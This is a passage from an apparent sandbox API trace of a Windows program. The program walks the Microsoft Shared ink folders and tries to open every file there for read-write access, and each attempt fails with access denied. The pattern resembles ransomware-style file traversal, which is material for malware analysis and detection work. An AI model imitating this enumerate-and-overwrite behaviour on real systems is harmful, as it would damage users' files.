ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.129] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0086.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.130] GetLastError () returned 0x5 [0086.130] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.130] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.131] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0086.131] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR") returned 56 [0086.131] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*") returned 60 [0086.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.131] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.132] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.132] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0086.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.132] GetLastError () returned 0x5 [0086.132] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.132] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.132] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0086.132] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US") returned 56 [0086.133] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*") returned 60 [0086.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.136] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.136] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0086.137] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0086.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.138] GetLastError () returned 0x5 [0086.138] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0086.138] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0086.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.139] GetLastError () returned 0x5 [0086.139] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0086.139] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0086.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.140] GetLastError () returned 0x5 [0086.142] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0086.142] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0086.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.142] GetLastError () returned 0x5 [0086.142] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0086.142] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0086.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.142] GetLastError () returned 0x5 [0086.143] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0086.143] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0086.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.165] GetLastError () returned 0x5 [0086.165] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0086.165] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0086.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.261] GetLastError () returned 0x5 [0086.261] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0086.261] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0086.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.262] GetLastError () returned 0x5 [0086.262] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0086.262] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0086.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.318] GetLastError () returned 0x5 [0086.318] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0086.319] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0086.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.327] GetLastError () returned 0x5 [0086.327] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0086.327] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0086.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.328] GetLastError () returned 0x5 [0086.328] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0086.328] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0086.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.328] GetLastError () returned 0x5 [0086.328] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0086.328] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0086.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.329] GetLastError () returned 0x5 [0086.329] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0086.329] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0086.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.330] GetLastError () returned 0x5 [0086.330] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0086.330] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0086.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.331] GetLastError () returned 0x5 [0086.331] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0086.331] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0086.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.332] GetLastError () returned 0x5 [0086.332] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0086.332] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0086.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.333] 